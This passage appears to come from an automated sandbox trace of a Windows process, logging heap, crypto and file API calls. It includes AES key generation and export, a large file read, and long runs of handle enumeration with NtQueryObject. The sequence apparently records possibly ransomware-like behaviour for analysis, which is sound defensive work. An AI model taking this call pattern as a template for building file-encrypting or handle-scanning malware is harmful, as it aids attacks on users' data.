(HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0089.947] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0089.947] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0089.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0089.947] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0089.947] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0089.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0089.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0089.948] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0089.948] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0089.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x3e7e40) returned 0x2350020 [0089.948] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0x3e7e1f, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0x3e7e1f, lpOverlapped=0x0) returned 1 [0090.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x3e7e40) returned 0x2740020 Thread: id = 319 os_tid = 0xa64 Thread: id = 383 os_tid = 0x83c [0057.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.409] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.409] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.410] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.410] GetFileType (hFile=0x188) returned 0x0 [0057.410] ResetEvent (hEvent=0xe8) returned 1 [0057.410] SetEvent (hEvent=0xec) returned 1 [0057.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.410] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.410] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.410] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.410] GetFileType (hFile=0x188) returned 0x3 [0057.410] ResetEvent (hEvent=0xe8) returned 1 [0057.410] SetEvent (hEvent=0xec) returned 1 [0057.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.410] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.410] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.410] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.410] GetFileType (hFile=0x188) returned 0x0 [0057.410] ResetEvent (hEvent=0xe8) returned 1 [0057.410] SetEvent (hEvent=0xec) returned 1 [0057.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.411] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.411] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.411] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.411] GetFileType (hFile=0x188) returned 0x3 [0057.411] ResetEvent (hEvent=0xe8) returned 1 [0057.411] SetEvent (hEvent=0xec) returned 1 [0057.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.411] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.411] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.411] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.411] GetFileType (hFile=0x188) returned 0x0 [0057.411] ResetEvent (hEvent=0xe8) returned 1 [0057.411] SetEvent (hEvent=0xec) returned 1 [0057.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.411] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.411] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.411] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.412] GetFileType (hFile=0x188) returned 0x3 [0057.412] ResetEvent (hEvent=0xe8) returned 1 [0057.412] SetEvent (hEvent=0xec) returned 1 [0057.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.412] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.412] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.412] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.412] GetFileType (hFile=0x188) returned 0x0 [0057.412] ResetEvent (hEvent=0xe8) returned 1 [0057.412] SetEvent (hEvent=0xec) returned 1 [0057.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.412] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.412] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.412] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.412] ResetEvent (hEvent=0xe8) returned 1 [0057.412] SetEvent (hEvent=0xec) returned 1 [0057.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.413] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.413] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.413] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.413] ResetEvent (hEvent=0xe8) returned 1 [0057.413] SetEvent (hEvent=0xec) returned 1 [0057.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.413] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.413] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.413] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.413] ResetEvent (hEvent=0xe8) returned 1 [0057.413] SetEvent (hEvent=0xec) returned 1 [0057.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.413] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.413] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.413] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.413] ResetEvent (hEvent=0xe8) returned 1 [0057.413] SetEvent (hEvent=0xec) returned 1 [0057.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.414] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.414] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.414] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.414] MapViewOfFile (hFileMappingObject=0x188, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.414] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.414] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.414] ResetEvent (hEvent=0xe8) returned 1 [0057.414] SetEvent (hEvent=0xec) returned 1 [0057.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.414] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.414] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.414] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.414] ResetEvent (hEvent=0xe8) returned 1 [0057.414] SetEvent (hEvent=0xec) returned 1 [0057.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.415] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.415] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.415] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.415] ResetEvent (hEvent=0xe8) returned 1 [0057.415] SetEvent (hEvent=0xec) returned 1 [0057.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.415] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.415] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.415] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.415] ResetEvent (hEvent=0xe8) returned 1 [0057.415] SetEvent (hEvent=0xec) returned 1 [0057.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.415] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.415] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.415] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.415] ResetEvent (hEvent=0xe8) returned 1 [0057.415] SetEvent (hEvent=0xec) returned 1 [0057.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.415] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.416] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.416] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.416] ResetEvent (hEvent=0xe8) returned 1 [0057.416] SetEvent (hEvent=0xec) returned 1 [0057.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.416] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.416] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.416] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.416] ResetEvent (hEvent=0xe8) returned 1 [0057.416] SetEvent (hEvent=0xec) returned 1 [0057.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.416] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.416] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.416] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.416] ResetEvent (hEvent=0xe8) returned 1 [0057.416] SetEvent (hEvent=0xec) returned 1 [0057.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.416] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.417] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.417] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.417] ResetEvent (hEvent=0xe8) returned 1 [0057.417] SetEvent (hEvent=0xec) returned 1 [0057.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.417] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.417] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.417] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.417] ResetEvent (hEvent=0xe8) returned 1 [0057.417] SetEvent (hEvent=0xec) returned 1 [0057.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.417] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.417] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.417] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.417] ResetEvent (hEvent=0xe8) returned 1 [0057.417] SetEvent (hEvent=0xec) returned 1 [0057.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.417] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.417] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.417] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.418] ResetEvent (hEvent=0xe8) returned 1 [0057.418] SetEvent (hEvent=0xec) returned 1 [0057.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.418] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.418] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.418] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.418] ResetEvent (hEvent=0xe8) returned 1 [0057.418] SetEvent (hEvent=0xec) returned 1 [0057.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.418] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.418] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.418] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.418] ResetEvent (hEvent=0xe8) returned 1 [0057.418] SetEvent (hEvent=0xec) returned 1 [0057.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.418] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.418] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.418] NtQueryObject (in: Handle=0x188, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.419] ResetEvent (hEvent=0xe8) returned 1 [0057.419] SetEvent (hEvent=0xec) returned 1 [0057.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.419] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.419] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.419] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.419] ResetEvent (hEvent=0xe8) returned 1 [0057.419] SetEvent (hEvent=0xec) returned 1 [0057.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.419] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.419] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.419] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.419] ResetEvent (hEvent=0xe8) returned 1 [0057.419] SetEvent (hEvent=0xec) returned 1 [0057.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.419] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.419] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.419] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.420] ResetEvent (hEvent=0xe8) returned 1 [0057.420] SetEvent (hEvent=0xec) returned 1 [0057.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.420] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.420] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.420] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.420] ResetEvent (hEvent=0xe8) returned 1 [0057.420] SetEvent (hEvent=0xec) returned 1 [0057.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.420] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.420] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.420] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.420] ResetEvent (hEvent=0xe8) returned 1 [0057.420] SetEvent (hEvent=0xec) returned 1 [0057.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.420] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.421] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.421] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.421] ResetEvent (hEvent=0xe8) returned 1 [0057.421] SetEvent (hEvent=0xec) returned 1 [0057.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.421] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.421] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.421] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.421] ResetEvent (hEvent=0xe8) returned 1 [0057.421] SetEvent (hEvent=0xec) returned 1 [0057.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.421] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.421] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.421] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.421] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0057.421] ResetEvent (hEvent=0xe8) returned 1 [0057.421] SetEvent (hEvent=0xec) returned 1 [0057.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.422] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.422] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.422] ResetEvent (hEvent=0xe8) returned 1 [0057.422] SetEvent (hEvent=0xec) returned 1 [0057.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.422] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.422] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.422] ResetEvent (hEvent=0xe8) returned 1 [0057.422] SetEvent (hEvent=0xec) returned 1 [0057.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.422] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.422] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.422] ResetEvent (hEvent=0xe8) returned 1 [0057.422] SetEvent (hEvent=0xec) returned 1 [0057.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.423] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 